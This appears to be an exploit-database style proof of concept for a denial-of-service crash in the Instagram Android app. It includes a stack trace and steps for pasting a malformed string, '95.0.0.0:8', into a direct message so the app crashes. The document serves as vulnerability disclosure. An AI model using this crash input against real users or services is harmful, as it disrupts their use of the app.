# Exploit Title: Instagram App 287.0.0.22.85 - Denial of Service (PoC) # Date: 2023-06-13 # Exploit Author: Aryan Chehreghani # Vendor Homepage: https://www.instagram.com # Software Link: https://play.google.com/store/apps/details?id=com.instagram.android # Version: 287.0.0.22.85 # Tested on: Android 12 # [ About App ]: #Instagram is a photo and video sharing social networking service owned by American company Meta Platforms, #The app allows users to upload media that can be edited with filters and organized by hashtags and geographical tagging, #Posts can be shared publicly or with preapproved followers. Users can browse other users' #content by tag and location, #view trending content, like photos, and follow other users to add their content to a personal feed. # [ Description ]: #Instagram is sensitive to illegal words, that's why will leave the page and stop after sending. /** #Stack Trace: Package name: com.instagram.android Package version: 368407140 Process name: com.instagram.android Caused by: java.net.URISyntaxException: Illegal character in scheme name at index 0: 95.0.0.0:8 at java.net.URISParser.fail(URI.java:2893) at java.net.URISParser.checkChars(URI.java:3066) at java.net.URISParser.checkChar(URl.java:3076) at java.net.URISParser.parse(URI.java:3092) at java.net.URI.(URI.java:584) at X.BI5.A00(:1361229) at X.BpQ.DMb(:73) at X.6FI.DMd(:7) at X.6Fn.A03(:10) at X.110.DMe(:11) at X.1ly.A03(:25) at X.1lo.DMe(:11) at X.11LAOW(:7) at X.115.A03(:37) at X.115.A02(:2) at X.B90.A05(:1350672) at X.BR2.onClick(:562) at android.view.View.performClick(View.java:7763) Crash: Exception class name: java.net.URISyntaxException Source file: URI java Source class: java.net.URISParser Source method: fail Line number: 2893 */ # [ POC ]: # 1.Enter the Instagram app # 2.In the messages section, select a user to send a message # 3.Paste -> "95.0.0.0:8" in the "message..." field # 4.Click 'Send' # 5.Crashed ;)